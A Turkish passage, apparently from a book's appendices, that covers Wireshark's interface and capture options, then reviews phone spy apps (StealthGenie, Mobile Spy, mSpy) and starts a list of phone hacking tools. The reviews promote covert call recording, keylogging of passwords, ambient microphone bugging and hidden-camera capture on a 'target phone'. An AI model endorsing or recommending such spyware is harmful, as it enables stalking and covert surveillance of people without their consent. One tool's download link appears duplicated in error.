olanağı vardır.<br />
Ana Pencerede Dolaşım<br />
Paket listesi ve ayrıntılı dolaşım tümüyle tuş takımından yapılabilir.<br />
Aşağıda tuş takımından kullanılabilecek komutlar ve anlamları yer<br />
almaktadır.<br />
Tab, Shift+Tab<br />
Aşağı Ok<br />
Yukarı Ok<br />
Ekrandaki ögeler arasında dolaşımı belirtir. Tab ileriye gidiş<br />
Shft+Tab geri gidişler içindir.<br />
Bir sonraki pakete ya da ayrıntı alanına gidiş demektir.<br />
Bir önceki pakete ya da ayrıntı ögesine geçiş demektir.<br />
Ctrl+Aşağı OK, F8<br />
Paket listesi önde değilse bile bir sonraki pakete geçmek için<br />
kullanılır.<br />
Ctrl+Yukarı Ok, F7<br />
Ctrl+.<br />
Ctrl+,<br />
Sol Ok<br />
Sağ Ok<br />
Paket listesinde önceki pakete geçmek için kullanılır.<br />
Görüşmenin (TCP, UDP, IP) bir sonraki paketine geçişi sağlar.<br />
Görüşmenin (TCP, UDP, IP) bir önceki paketine geçişi sağlar.<br />
Paket ayrıntılarında seçilen ağaç ögesini kapatır. Eğer kapalıysa<br />
baba rolündeki düğüme zıplar.<br />
Paket ayrıntılarında seçilen ağaç ögesini açar.<br />
Shift+Sağ Ok<br />
Paket ayrıntılarında seçilen ağaç ögesini açar ve onun tüm alt<br />
ağaçlarını da açar.
Ctrl+Sağ Ok<br />
Paket Ayrıntılarında ağaç ayrıntılarının tümünü açar.<br />
Ctrl+Sol Ok<br />
Paket Ayrıntılarında tüm ağaç ayrıntılarını kapatır.<br />
Backspace<br />
Paket Ayrıntılarında bir üsteki düğüme atlar.<br />
Return, Enter<br />
Paket Ayrıntılarında seçilen ağaç ögesini tetikler.<br />
Ek olarak ana menünün herhangi bir yerinden tuşlara basılınca<br />
görüntü filitresi alanına bilgi girmeye başlanmış olunur.<br />
Ana Menü<br />
Wireshark Menü, Wireshark penceresinde bulunur. Örnek menü<br />
aşağıda gösterilmiştir:<br />
Eğer menü seçeneğindeki özellik o kurulumda kullanılabilir durumda<br />
değilse grileştirilir. Örneğin daha önce bir veri yakalamamışsanız<br />
Saklama yapamazsınız.<br />
Menüde bulunan seçenekler şunlardır:<br />
File (Dosya)<br />
Bu seçenek yakalanan verileri açma (open), birleştirme (merge),<br />
saklama (save) / yazdırma (print) / idışa verme (export) tümü ya<br />
da bir parçası için yapacak işlemlerden oluşur. Wireshark<br />
işlemini bitirme (quit, exit) bu seçenekler arasındadır.
Edit (Düzenleme)<br />
Bu seçenek bir paketi bulma, zaman referansini ya da bir ya da<br />
daha çok paketi işaretlemeyi, ayar profillerini ele almayı gibi alt<br />
seçenekleri belirtir. Ayrıca sizin kullanımınıza özel ayar<br />
seçenekleri (özellikler) de burada ele alınır.
View (Göster)<br />
Bir paketi bulmaya yarayacak ögelerden oluşur. Paketlerin<br />
renklendirilmesi, yakınlaştırma, uzaklaştırma, paketleri ayrı bir<br />
pencerede gösterme paket ayrıntılarında ağaçları açıp kapama<br />
burada yer alan seçeneklerdir.
Go (Git)<br />
Bu menü özel bir pakete gidecek ögeden oluşur.
Capture (Yakala)
Bu menü yakalamayı başlatma ve durdurma işlemini yapmanızı<br />
sağlar.
Analyze (Analiz/İnceleme)<br />
Bu menü seçeneğinde görüntü filitrelerini değiştirme, açma,<br />
kapama, protokolların parçalara ayrılması, kullanıcının<br />
tanımladığı kod açma yöntemleri ve TCP akışını izleme bulunan<br />
alt ögelerdir.
Statistics (İstatistikler)<br />
Bu seçenekte yer alan ögeler çeşitli istatistik pencereleri<br />
açılmasını (yakalanan paketlerin özeti dahil olmak üzere),<br />
protokol sıradüzeni (hierarchy) istatistiklerini ve bir çok diğer<br />
şeylerin sayısal incelemelerini içerir.
Telephony (Telefon)<br />
Bu menü telefona dayalı istatistik verileri görüntülemekte<br />
kullanılır. Ortam analizleri, akış çizelgeleri, protokol sıradüzen<br />
istatistikleri ve bir çoğu burada yer alır.
Tools (Araçlar)<br />
Wireshark'a bulunan bir çok aracı içerir.
Internals (Dahili)<br />
Wireshark'ın dahili bilgilerini açıklayan ögeleri içerir.
Help (Yardım)<br />
BU menü ögeleri kullanıcıya yardım sağlamak içindir. Bazı temel<br />
yardım bilgilerine erişim, el kitabı bilgilerine erişim ve çeşitli<br />
komut satırı araçların kullanımı, web sayfalarına erişim ve<br />
Hakkımızda sayfası burada yer alır.
Bu menü ögeleri izlenen menü seçeneği alt menülerinde de anlatılır.<br />
Menü ögelerine hızlandırıcı anahtar tuş bilgileri (accelerator keys) ile<br />
de doğrudan erişilebilir.<br />
Canlı Ağ Verisini Yakalama<br />
GİRİŞ<br />
Canlı ağ verisini yakalama Wireshark'ın en önemli işlevlerinden biridir.<br />
Wireshark yakalama makinesi aşağıdaki özellikleri sağlar:<br />
Değişik ağ donanımlarından veri toplayabilir (Ethernet, Token<br />
Ring, ATM gibi)<br />
Değişik tetikleme koşullarına göre yakalamayı durdurabilir.
Yakalanan verinin miktarı, yakalama zamanı, yakalanan paket<br />
sayısı.<br />
Yakalama devam ederken aynı anda paketleri gösterebilme.<br />
Yakalama devam ederken gösterilen paketlerin açılması.<br />
Yakalanacak veri miktarını paketleri filitreleyerek azaltmak.<br />
Uzun dönem yakalama yaparken yakalananları bir çok dosyaya<br />
dağıtarak saklamak.<br />
Aynı anda birden çok ağ arayüzünden veri yakalamak.<br />
Ama yakalama makinesi tüm bunlara rağmen aşağıdakilerden<br />
yoksundur:<br />
Ön Koşullar<br />
Yakalanan veri içindeki bir koşula göre yakalamayı durdurmak.<br />
İlk kez veri yakalamak için ayar yapmak biraz hilelidir. Aşağıda bazı<br />
tuzaklardan söz edilmiştir.<br />
Canlı yakalama yapmak için root/Administrator yetkiniz olmalıdır.<br />
Paket verilerini yakalayacağınız doğru arayüzü seçmelisiniz.<br />
Görmek istediğiniz trafiği görmek için doğru yeri seçmelisiniz.<br />
Yakalamada sorun olursa araylara bakmanız gerekir.<br />
Yakalamayı Başlatma<br />
Aşağıdaki yöntemlerden biri kullanılarak yakalama başlatılabilir.<br />
Yerel arayüzü hakkında bilgi edinmek için önce “Capture<br />
Interface” (Yakalam Arayüzü) penceresini kullanmak gerekir.<br />
Yakalama bu penceredeki yakalama düğmelerinden birini<br />
kullanarak başlayabilirsiniz.
Yakalamaya “Capture Options” (Yakalama Seçenekleri)<br />
penceresiyle başlayabilirsiniz.<br />
Eğer seçenekleri doğru doldurmuşsanız hemen yakalama<br />
işlemine başlayabilirsiniz. “Yakalama Başlatma” menüsü araç<br />
çubuğundaki ögeyi kullanarak yakalama başlar.<br />
Eğer yakalama arayüzünün adını zaten biliyorsanız Wireshark'ı<br />
komut satırından “wireshark -i eth0 -k” yazarak da
aşlatabilirsiniz.<br />
Yakalama Arayüzü Penceresi<br />
Yakalama menüsünden Arayüzler seçilince Wireshark “Capture<br />
Interface” (Yakalama arayüzü) penceresini açar. Burada bir çok sistem<br />
kaynağı kullanıldığından hemen kapatmakta yarar vardır. Burada<br />
yalnız wireshark tarafından bilinen yerel arayüzler gösterilir. Gizli<br />
arayüzler gösterilmez. Aynı anda birden çok arayüzden bilgi<br />
yakalamak söz konusu olduğundan “toggle” düğmesi bir ya da daha<br />
çok arayüz seçmek için kullanılabilir.<br />
Device Cihaz (Unix/Linux)<br />
Arayüz cihaz adı<br />
Description (açıklama)<br />
IP<br />
Cihaz açıklaması<br />
Bu arayüz için programın bulacağı ilk IP numarası. Ethernet'e<br />
bağlı adresler arasında dönerek arama da yapılabilir.<br />
Packets (Paketler)<br />
Packets/s<br />
Stop<br />
Start<br />
Bu arayüzden yakalanacak paket sayısı.<br />
Son saniyede yakalanan paket sayısı<br />
Yakalamayı durdur.<br />
Yakalamayı başlat<br />
Seçenekler Penceresi<br />
Options (Seçenekler)<br />
Yakalama seçenekleri penceresini seçilen arayüz için açma.<br />
Details (Ayrıntılar Yalnız MS Windows için)<br />
Bu arayüz için ayrıntılı açıklamayla seçenek penceresi açma.<br />
Help (Yardım)<br />
Yardım sayfasını görüntüleme.<br />
Close (Kapatma)<br />
Pencereyi kapatma.
Yakalama Seçenekleri Penceresi<br />
Yakalama menüsünden seçenekler seçildiğinde, program “Yakalama<br />
Seçenekleri” penceresini açar. Hangisini seçeceğinizi bilmiyorsanız<br />
varsayılanları olduğu gibi bırakabilirsiniz.<br />
Yakalama Çerçevesi<br />
Tüm var olan arayüzlerinin ayarlarını gösterir.<br />
Arayüzün adı ve IP adresi. Sistemden seçilebilen yoksa “none”<br />
(hiçbiri) gösterilir.<br />
Bağlantı katmanı başlık tipi<br />
“promicuous” (ayrım gözetmeyen) konum açık mı kapalı mı<br />
bilgisi<br />
Her pakette yakalanacak en çok veri boyu (varsayılan 65535)<br />
Yakalanan paketleri saklayacak Kernel tampon alanının boyu.<br />
(Unix/Linux için) Paketler yalnız izleme konumundayken mi<br />
yakalanır.<br />
Seçilen yakalama filitresi.<br />
İlk kolondaki onay kutularını (checkbox) işaretleyerek yakalanacak<br />
veri paketleri için seçilir. Arayüz iki kez tıklanınca “Edit Interface<br />
Settings” (Arayüz ayarlarını Düzenleme) penceresi açılır.<br />
Tüm arayüzlerinden yakala<br />
Çoklu arayüzden yakalama yapılır. Var olan arayüzlerinden<br />
istenilenler seçilebilir.<br />
Tüm paketleri ayrım gözetmeden yakala<br />
Yakalama yaparken tüm arayüzlerini ayrım gözetmeyen konuma<br />
getirir.<br />
Yakalama Filitresi<br />
Yakalama filitresi belirtmeye yarar. Seçilen arayüzlerinden gelen<br />
paketlerden filitrden geçenler yakalanır.<br />
“Capture Filter” (Filitre yakalama düğmesine basarak da filitre<br />
penceresinin açılması sağlanabiliir.<br />
RPF'lerden seçilenleri derleme<br />
Bu düğme yakalama filitresini RPF koduna çevirir ve açılan
pencerede kodun nasıl yazıldığı gösterilir. Bunun yararı yaratılan<br />
filitrenin nasıl olduğunun anlaşılabilmesidir.<br />
Arayüzleri Yönetme<br />
Bu düğme sizi yeni arayüz ekleme penceresine götürür. “Pipe”<br />
tanımları yapılır, yerel arayüzler taranır ya da uzak arayüzleri<br />
eklenir.<br />
Yakalama Dosyaları Çerçevesi<br />
Bu çerçevede yer alan bilgi alanları şöyledir.<br />
Dosya (File)<br />
Yakalama Dosyası olarak kullanılacak dosya adı buraya yazılır.<br />
Varsayılan olarak alan boştur. Boş dosya adı, yakalanan verilerin<br />
geçici bir dosyada tutulduğunu anlatır. Dosya sisteminde tarama<br />
yapmak istenirse alanın yanındaki düğme kullanılmalıdır.<br />
Çoklu dosya kullanma<br />
Bir dosya kullanma yerine, belirli bir noktaya gelinmişse (paket<br />
sayısı gibi) program otomatik olarak bir yenisine geçer.<br />
Pcap-ng kalıbı kullan<br />
Bu onay kutusu programın yakalanan paketleri pcap-ng kalıbında<br />
saklamasını sağlar. Bu sonraki kuşak paket saklama yöntemi<br />
yeni geliştirilmiştir. Eğer birden çok arayüz yakalama için<br />
seçilmişse bu onay kutusu varsayılan olarak seçilir.<br />
Her n bayt sonra yeni dosya<br />
Bir dosya n bayt olduktan sonra yeni dosyaya geçilir.<br />
Her n dakika sonra yeni dosya<br />
Verilen süre geçince yeni dosyaya geç.<br />
N dosyayla tamponu döndür<br />
Verilen sayıdan dosya dolunca yakalamaya ilk dosyadan başla.<br />
N dosyadan sonra yakalamayı durdur.<br />
Verilen sayıda dosya oluştuktan sonra yakalamayı durdur.<br />
Yakalamayı durdurma çerçevesi<br />
...n paket sonra<br />
...n megabsyt sonra<br />
...n dakika sonra
Görüntüleme Seçenekleri Çerçevesi<br />
Gerçek zamanlı paket listesini güncelleme<br />
Programın paket listesi panosunu gerçek zamanlı<br />
güncelleyebileceği belirtilir. Normalde program yakalanan<br />
paketleri yakalama bitmeden göstermez. Programın yakalama<br />
işlemi ayrı, görüntüleme işlemi ayrıdır.<br />
Canlı yakalamada otomatik liste kaydırma (scroll)<br />
Yeni paketler geldikçe bu seçenek paket listesinin kaydırılacağını<br />
anlatır. Belirtilmezse program gelen paketleri listenin sonuna<br />
ekler ve panoyu kaydırmaz.<br />
Yakalama Bilgisini Saklama<br />
Bu seçenek işaretlendiğinde yakalama bilgisi penceresi kapanır.<br />
Ad Çözümleme Çerçevesi<br />
MAC ad çözümlemeyi aç<br />
MAC adresleri adlara çevirmeyi sağlar.<br />
Ağ ad çözümlemeyi aç<br />
Ağ adreslerini adlara çevirme işlemidir.<br />
Taşıma adlarının çözümlenmesi<br />
Program taşıma adreslerini protokol adlarına çevirir.<br />
Düğmeler<br />
Değerleri ayarladıktan sonra işleme başlamak için “Start” tuşuna<br />
basılır. Ya da “Cancel” tuşuna basılarak işlem kesilir.<br />
Yakalamayı başlatınca, durdurmak için “Stop” tuşuna basılır.<br />
Edit (Düzeltme Arayüzü Ayarları Penceresi<br />
Eğer seçilmiş arayüzü üzerinde iki kez tıklarsanız Düzeltme penceresi<br />
açılır<br />
IP adresi<br />
Bağlantı katmanı başlık tipi<br />
Kablosuz bağlantı ayarları (windows)<br />
Uzaktaki arayüz ayarları (windows)<br />
Paketleri ayırım gözetmeden yakalama konumu
n bayt sonra paketi sınırla<br />
Tampon alan boyu (n megabayt)<br />
Paketleri izleme konumunda yakalama (Unix/Linux)<br />
Yakalama filitresi<br />
BRF Derleme<br />
Derleme Sonuçları penceresi<br />
Seçilen arayüzün derleme sonuçları burada gösterilir.
Yeni arayüzler ekleme penceresi<br />
Pipe ekle ya da çıkart<br />
Yerel arayüzü ekle ya da sakla<br />
Uzaktaki arayüzü ekle ya da çıkart<br />
Uzaktaki Yakalama Arayüzü
Yerel arayüz üzerinden yakalama yapılırken, ağ dışındaki yakalama<br />
arka plan programına ya da servisine erişip oradan veri yakalar.<br />
Bu pencere yalnız Microsoft windows'da geçerlidir.Linux/Unix<br />
ortamında aynısına ssh üzerinden güvenli bir şekilde erişebilirsiniz.<br />
Uzaktan Paket Yakalama Protokol Servisi karşı tarafta çalışır durumda<br />
olmalıdır. En kolayı WinPcap kurmaktır.<br />
Aşağıdaki bilgi alanları doldurulmalıdır.<br />
Host<br />
Port<br />
Sunucunun IP adresi<br />
Uzaktaki Paket Yakalama protokolünün dinlendiği kapı<br />
numrasıdır.<br />
Null Authentication<br />
Şifre denetimi istenmezse tanımlanır.<br />
Password authentication<br />
Diğer platformlara bağlanmanın normal yoludur.<br />
Uzaktan Yakalama Ayarları<br />
RPCAP trafiğini yakalama<br />
Veri göndermek için UDP kullan<br />
Örnekleme seçeneği kullanılmayacak<br />
Örnekleme seçeneği x pakette bir
Örnekleme seçeneği x milisaniyede bir<br />
Arayüz Ayrıntıları penceresi<br />
Yakalama Dosyaları ve Dosya konumları<br />
libpcap yakalama makinesiyle ağ donanımındaki paketler kernel<br />
tampon alanında bulunur. Program bu veriyi okur ve yakalama<br />
dosyalarına yazar.<br />
Yakalama dosyalarına yazarken değişik veri konumları vardır:<br />
Büyük dosyalarla çalışırken (bir kaç 100 Mbayt) işlem yavaş olabilir.<br />
Uzun dönem yakalama yapılacaksa, ya da yüksek trafiği olan bir ağda<br />
yakalama yapılacaksa “Çoklu dosya” seçeneğini düşünün. Yakalanan<br />
paketleri parçalara böler.<br />
Bazen çoklu dosya kullanımında paket bir dosyada verilerin bir kısmı<br />
diğer dosyada kalabilir. Bu durumda ikincil bölüm hatalı paket gibi<br />
yorumlanabilir.
Tek geçici dosya<br />
Kullanılan dosya adı wiresharkXXXXXX<br />
foo.cap adlı dosya kullanımı<br />
dosya adı foo.cap<br />
foo.cap çoklu dosya kullanımı<br />
foo_00001_20100205110102.cap<br />
foo_00001_20100205110318.cap<br />
foo.cap çoklu dosya dönmeli<br />
foo_00001_20100205110102.cap<br />
foo_00002_20100205110318.cap,<br />
Var olan dosya konumları<br />
Tek Geçici Dosya<br />
Tek adlandırılmış dosya<br />
Çok dosya sürekli yenilenen<br />
Çoklu dosya dönmeli<br />
Bağlantı Katmanı Başlık tipi<br />
Genel olarak bağlantı katmanı başlık tipini seçmezsiniz. Ama özel<br />
olarak seçim yapılmasının nedeni aşağıda anlatılmıştır.<br />
Eğer 802.11 cihazının BSD üzerinde verilerini yakalıyorsanız, size<br />
“Ethernet” ve “802.11” seçeneği sunabilir. Ethernet paketleri<br />
yakalanırken sahte ethernet paketleri olabilir. “802.11” için IEEE<br />
802.11 başlıkları olmalıdır.<br />
Eğer Endace DAG kartlarından yakalama yapıyorsanız, senkron seri<br />
hatta bağlı hatlarda seri “hat üzerinden PPP” ya da “Cisco HDLC”<br />
bağlantı olacaktır. Burada “Cisco HDLC” seçilmelidir.<br />
Eğer Endace DAG kartı ATM ağına bağlıysa, “RFC 1483 ATM-üzerinden-<br />
IP” ya da “Sun ham ATM” seçenekleri çıkar. Eğer yakalanan trafik<br />
yalnız “RFC 1483LLC-encapsulated IP” ise, ya da yakalanan SunATM<br />
başlıklarını desteklemeyen bir uygulama kullanılıyorsa “RFC 1483<br />
ATM-üzerinden-IP”, aksi halde “Sun ham ATM” seçilmelidir.<br />
Eğer bir ethernet cihazı üzerinden yakalama yapılıyorsa bu kez<br />
“ethernet” ya da “DOCSIS” seçenekleri vardır. Eğer Cisco kablolu
modem'den yakalama yapıyorsanız ve DOCSIS trafiği oluşuyorsa,<br />
seçim bu şekilde olmalıdır.<br />
Yakalarken Filtreleme<br />
Yakalama filtrelerinde program libpcap filtreleme dilini kullanır. Konu<br />
burada kısaca anlatılmıştır.<br />
Bir çok örnek http://wiki.wireshark.org/CaptureFilters adresinde vardır.<br />
Yakalama Seçenekleri penceresindeki bilgi alanına yakalama filitresi<br />
girilir.<br />
Filitre aşağıdaki kalıba göre hazırlanır:<br />
[not] ilkel_tanım [and|or [not] ilkel_tanım ...]<br />
Örnek:<br />
tcp port 23 and host 10.0.0.5<br />
Burada 10.0.0.5 sunucusundan gelen telnet trafiği yakalanır.<br />
Bazı ilkel tanımlar:<br />
[src|dst] host <br />
ether [src|dst] host <br />
gateway hos <br />
[src|dst] net [{mask }|[len }]<br />
[tcp|udp][src|dst] kapı <br />
less|greater <br />
ip|ether proto <br />
ether|ip broadcast|multicast<br />
relop <br />
Uzaktan otomatik Trafik Filitreleme<br />
Eğer program uzakta çalışıyorsa (SHH, X terminal sunucu ya da<br />
terminal sunucu), uzaktaki sonuçlar ağ üzerinden taşınmalıdır.Uzakta<br />
programın çalışıp çalışmadığı aşağıdaki çevre değişkenlerinin<br />
incelenmesiyle çözümlenir:<br />
SSH_CONNECTION (ssh)<br />
<br />
SHH_CLIENT (ssh)
REMOTEHOST (tcsh, others)<br />
<br />
DISPLAY (x11)<br />
[uzaktakinin adı]<br />
SESSIONNAME (terminal sunucu)<br />
<br />
Windows ortamında uzaktaki masa üstü Servis çevresi var mı diye<br />
işletim sistemine sorulur.<br />
Yakalama Çalışırken<br />
Yakalama Çalışırken “Yakalama Bilgisi” penceresi görüntülenir.<br />
Yakalanan paketler hakkında bilgi verirken, sayılan protokollar<br />
değişmez. Bu pencere gizli/görünmez olabilir.<br />
Yakalamayı durdurmak<br />
Çalışan bir yakalama aşağıdakilerden biriyle durdurulabilr:<br />
Stop düğmesine basılarak<br />
Menü seçeneği olan Capture/Stop<br />
Araç Çubuğu ögesi “stop” kullanılarak<br />
Ctrl+E hızlandırma tuşlarına basılarak<br />
“Stop” koşullarından biri oluşmuşsa yakalama otomatik<br />
durdurulur.<br />
Koşan bir yakalamayı yeniden başlatmak<br />
AYnı yakalama seçenekleriyle çalışan bir yakalama yeniden<br />
başlatılabilir. Daha önce yakalanmış paketler silinir.<br />
Restart aslında önce stop hemen sonra start ile aynıdır.<br />
Aşapıdakilerden biriyle restart tetiklenir:<br />
Menü seçeneği Capture/restart<br />
Araç Çubuğu ögesi Restart.
Ek-7<br />
TELEFON CASUS YAZILIMLARI İNCELEMELERİ<br />
Burada açıklanan inceleme bilgileri http://acisni.com/cell-phone-spy-softwarecomplete-guide/<br />
web sitesinden alınıp derlenmiştir.<br />
STEALTHGENIE<br />
Bu konuda ayrıntılar ve güncel bilgi http://acisni.com/stealthgenie1 web<br />
adresinden sağlanabilir.<br />
Aslında gerçekten çalışıp çalışmadığı konusunda şüphelere düşersiniz.<br />
Güvenli bir yazılımdır. Bu yazılım üreten firma piyasa lideridir. Bu nedenle<br />
özellikleri diğer yazılımlara göre daha fazladır. Pazardaki diğer firmalar,<br />
onları yakalamaya çalışarak yazılımlarını benzetme uğraşısı içindedirler.<br />
Yazılımın kullanılabileceği ortamlar:<br />
Android (4.4 sürüme kadar hepsi)<br />
Apple iPhone (iPhone 5 de dahil 7.0.4 sürüme kadar)<br />
BlackBerry (7.2 sürüme kadar)<br />
Yeni bir işletim sistemi çıktığında yazılım firmaları, uygulamaları onu<br />
desteklesin diye çalışmaya başlar ve çoğu zaman StealthGenie ilk sürümü<br />
çıkaran olur.<br />
Genelde SMS mesaj kayıtları, görüşme kayıtları, GPS izleme, eposta izleme<br />
web tarihçesini izleme ve hedef telefonda saklanan dosyalar olarak<br />
desteklenen temel izleme yazılımlarıdır.<br />
Ama StealthGenie birkaç ek özellikle diğerlerinin önüne geçer.<br />
Görüşme Kayıt Özelliği<br />
StealthGenie almak isteyenlerin en önemli gerekçelerinden biri bu<br />
özelliktir. Eğer bu özelliği istiyorsanız, StealthGenie seçmekte<br />
haklısınızdır. Kayıtları daha sonra PC üzerinde saklayabilirsiniz.<br />
WhatsApp ve Diğerlerini İzleme<br />
Rooted Android ve iPhone üzerinde çeşitli mesaj servisleri ve chat<br />
programları izlenebilmektedir. BlackBerry kendi ortamında<br />
izlenebilmektedir
.<br />
Gmail izleme<br />
Bir çok casus program telefondaki ana e-posta hesabını izler.<br />
StealthGenie ana e-posta hesabını ve diğer Gmail tabanlı hesapları<br />
izleyebilir.<br />
Tetikleme Kelimeleri<br />
Bazı tetikleme kelimeleri ya da telefon numaraları tanımlanabilir. Eğer<br />
herhangi bir iletişim (e-posta ya da SMS gibi) bu kelimeleri içeriyprsa<br />
(telefon numarası da dahil) uyarı mesajı üretilir. Kontrol panelinden bu<br />
uyarılara ilişkin mesajlar anında görüntülenebilir. Çocuklarınızı izlerken<br />
bu çok akıllı ve yararlı bir olanaktır.<br />
Güvenlik Özellikleri<br />
StealthGenie paketlerinin bazılarında güvenlik özelliği denen olanakları<br />
kullanmak mümkündür.<br />
Hedef telefonu uzaktan kilitleyip açabilirsiniz. Kayıp ve çalınmışsa çok<br />
kullanışlıdır.<br />
Değerli verileri başka bir ortamda saklamak ve yedeklemek. Aslında<br />
telefonda saklanan bilgilerin tümü silebilirsiniz. İş ve kişisel amaçlar<br />
için idealdir.<br />
MOBIL SPY<br />
Eski ve güvenilir bir yazılımdır. Günceldir (Şubat 2014'de bu satırlar<br />
yazılırken güncel sürümü çıkmıştır). 2003 yılından beri cep telefonları izleme<br />
yazılımı olarak kullanılmaktadır. ABD firmasıdır. Web sayfalarına<br />
bakıldığında, güncel olup olmadığı incelenebilir.<br />
Birçok cep telefonunu ve işletim sistemini desteklerler. Bugüne göre<br />
desteklenen telefon işletim sistemleri şöyledir:<br />
Android 4.4.2 sürümüne kadar<br />
iPhone 7.0.4 sürümüne kadar<br />
BlackBerry 7.1 sürümüne kadar<br />
Symbian 9.5 sürümüne kadar<br />
Web sitelerinden her zaman son destekledikleri sürümler öğrenilmelidir.<br />
Özellikleri<br />
Standart özelliklerin tümünü içerir. SMS mesajları, telefon geçmişi, GPS<br />
izleme, e-posta, web tarayıcısı geçmişi, videolar, resimler ve telefon<br />
rehberi gibi telefon dosyaları bunların arasındadır.<br />
Burada diğerlerinden farklı olan özellik, gelişmiş özelliklerin nasıl bir<br />
fiyat planına yerleştirilmiş olduğudur.
Gelişmiş Özellikler<br />
Mesajlaşma (Messenger) ve Sosyal medya izleme (Social Monitoring)<br />
ile Facebook, Twitter, WhatsApp, messenger, Windows'un güvenli<br />
kabul ettiği Live, Aol, BlackBerry, Gtalk, iPhone ve iPad için<br />
iMessenger. Diğer söyleşi (chat) ve sosyal medya listeleri başka<br />
yazılımlara göre oldukça gelişmiştir.<br />
YouTube – YouTube da izlenen tüm videoların görüntülenmesini sağlar.<br />
BlackBerry Pin Message – BlackBerry kullanıcıları için<br />
Gmail – zaman damgalı ve eposta içerikli tüm kullanıcı postalarını<br />
görüntüler.<br />
Alerts (Uyarılar) – Telefon numaraları için tetikleyici kelimeler<br />
atanabilir. Kelimelerden herhangi biri ya da telefon numarası kayıtlara<br />
girecek olursa, uyarı mesajı alınır. Gözünüzün çocuklar üzerinde olması<br />
için önemli bir özelliktir.<br />
Yüklenmiş Uygulamalar ve Uygulama engelleme – Bu özellik hedef<br />
telefondaki tüm uygulamaların listesini verir ve istenilenin<br />
engellenmesini sağlar. Bunlar ana denetim masasından<br />
yönlendirilebilir ve bunlar standart paketin parçasıdır.<br />
Uzaktan Kontrol - programın ana menusu uzaktan kontrol edilir.<br />
Telefonu kapatıp (kilitleyip) açabilirsiniz. Telefondaki verileri<br />
silebilirsiniz. SIM kart bilgilerine erişebilirsiniz. Casus yazılımı bile<br />
silebilirsiniz (artık izleme yapmayacaksanız).<br />
Ana menü bilgisi – Etkileşimli ana menu ekranında hedef telefonun<br />
tüm özelliklerini görebilirsiniz. İşlerim Sistemi sürümü, Son<br />
güncelleme, WiFi ayarları ve hatta pilin kalan gücü. Ana menüde<br />
izlenen telefonlar arasında birinden diğerine geçiş yapabilirsiniz.<br />
Verilere PC, laptop, tablet ya da cep telefonundan erişebilirsiniz.<br />
Bunlar standart paket altında sunulan özelliklerdir.<br />
Canlı (Live) Denetim Masası Özellikleri<br />
Bu eklentiyi almanız gerekmez ama almışsanız sunduğu ek özellikler<br />
aşağıda anlatılmıştır:<br />
Canlı ekran görüntüsü – hedef telefonun o anki ekran görüntüsünü alıp<br />
ne işler yapıldığını görebilirsiniz. 90 saniyelik aralıklarla yinelenir.<br />
Telefonun Çevresini kaydet – Casus böceği (dinleme cihazı) olarak<br />
kullanıp, hedef telefonun mikrofonundan çevredekiler dinlenir.<br />
Gizli Kamera – Bu yeni eklenen özelliktir. Hedef telefonla resim<br />
çekebilirsiniz. Bunu sevenler çıkabilir.<br />
Kayıtların e-postayla gönderilmesi – Ana menüde ayarlarını yaparak<br />
kayıtların verdiğiniz e-posta adresine gönderilmesini isteyebilirsiniz.<br />
Bazı özellikler atlanmış olabilir ama bu yazılımın neler yapabileceği
aşağı yukarı anlaşılmıştır. Unutulmamalıdır ki tüm özellikler tüm<br />
telefonlarda kullanılmayabilir.<br />
mSPY<br />
Buradaki bilgiler sürekli güncellenen bir incelemeden alınmıştır. Web<br />
sitelerinden her zaman güncel bilgi elde edilebilir (http://acisni.com/mspy).<br />
Hem tabletler hem de cep telefonlarında çalışır. Aşağıdaki işletim<br />
sistemleriyle kullanılabilir:<br />
Android telefon ve tabletler (4.4 sürümüne kadar)<br />
iPhone ve iPad (7.0.4 sürümüne kadar)<br />
BlackBerry (7.0 sürümüne kadar)<br />
Symbian (Nokia)<br />
Yazılım bu tür telefonların hepsinde çalışır ama web sitesindeki telefon<br />
listesinden kontrol etmek daha doğru olabilir.<br />
mSpy'dan gelişkin Özellikler<br />
mSpy SMS mesajları, görüşme kayıtları, izleme ve web tarihçesi gibi<br />
kayıtların yanı sıra aşağıdaki özellikleri de içerir:<br />
Görüşme kaydı – StealthGenie ve mSpy güvenilir görüşme kaydı<br />
saklayan iki yazılımdır. Görüşmede iletişim zayıflarsa kayıt kesilir.<br />
Android telefonlar için geçerlidir.<br />
Telefon Çevresindekileri Kayıt etme – Böcek gibi davranır ve<br />
mikrofonundan çevresinde konuşulanları kaydeter.<br />
Mesajları izleme – WhatsApp, Viber, Skype, iMessage ve Facebook<br />
Messenger etkinliklerini kayıt eder ve izler (Bu özellikler rooted<br />
Android ve iPhone/iPad cihazları için geçerlidir)<br />
Çağrı Engelleme – Telefon numaralarını tanımlar ve onlardan gelen<br />
çağrıları engelleyebilirsiniz.<br />
Web sitesi engelleme – Önceden tanımlanmış web sitelerine girişi<br />
engeller.<br />
Uygulama Engelleme – Tüm yüklenmiş uygulamaları görüp, hangilerini<br />
engelleyeceğinizi belirlersiniz.<br />
Tuş kaydı – mSpy'a özeldir. Tuşlanan herşeyin kaydını tutar. Mesajlar,<br />
şifreler, giriş bilgileri ve e-postalar bu özellikle saklanır. Şu anda yalnız<br />
Android için geçerlidir.<br />
Yönetim Özellikleri – Raporların nasıl gönderileceğine ilişkin işlemlerdir.<br />
Raporlar yalnız WiFi ile gönderilebilir. GPS aralıkları da raporlanabilir.<br />
Güvenlik özellikleri – Telefonu kilitleme, telefon bilgilerini silme, SIM<br />
değişiklik bilgisini alma, durdurma ya da uygulamayı silme bir güvenlik<br />
panelinden uzaktan yapılabilir.
Ek-8<br />
AKILLI TELEFON HACKLEME<br />
Burada anlatılanlar http://www.hackersonlineclub.com/jailbreak-ios Web<br />
sitesindeki yazılardan derlenmiştir.<br />
Hack olayında kullanılan yazılımlar (tarama ya da saldırı amaçlılar) burada kısaca<br />
anlatılmış, nereden sağlanacağı Web adresiyle gösterilmiştir.<br />
ANDROID ARAÇLARI<br />
Hacker Araç Kutusu<br />
Sızma testleri için kullanılan bir uygulamadır. Ahlaklı hacker'lar, BT<br />
yöneticileri ve Siber güvenlik uzmanları keşfetmek, kırılmaları aramak gibi<br />
amaçlarla kullanırlar.<br />
İndirmek için (https://github.com/SecurityCompass/AVDClone) adresini<br />
kullanın.<br />
AVD Klonu<br />
Android sanal donanımlarını, Android SDK (Yazılım Geliştirme Araçları)<br />
yönetimi tarafından kolay dağıtımı için kullanılır. İstediğiniz uygulama ve<br />
ayarlarla bir depo oluşturabilirsiniz. Diğerlerinin Android SDK depoları da<br />
sizin oluşturduğunuz ortama yönelir.<br />
İndirmek için (https://github.com/SecurityCompass/AVDClone) adresini<br />
kullanın.<br />
APKInspector<br />
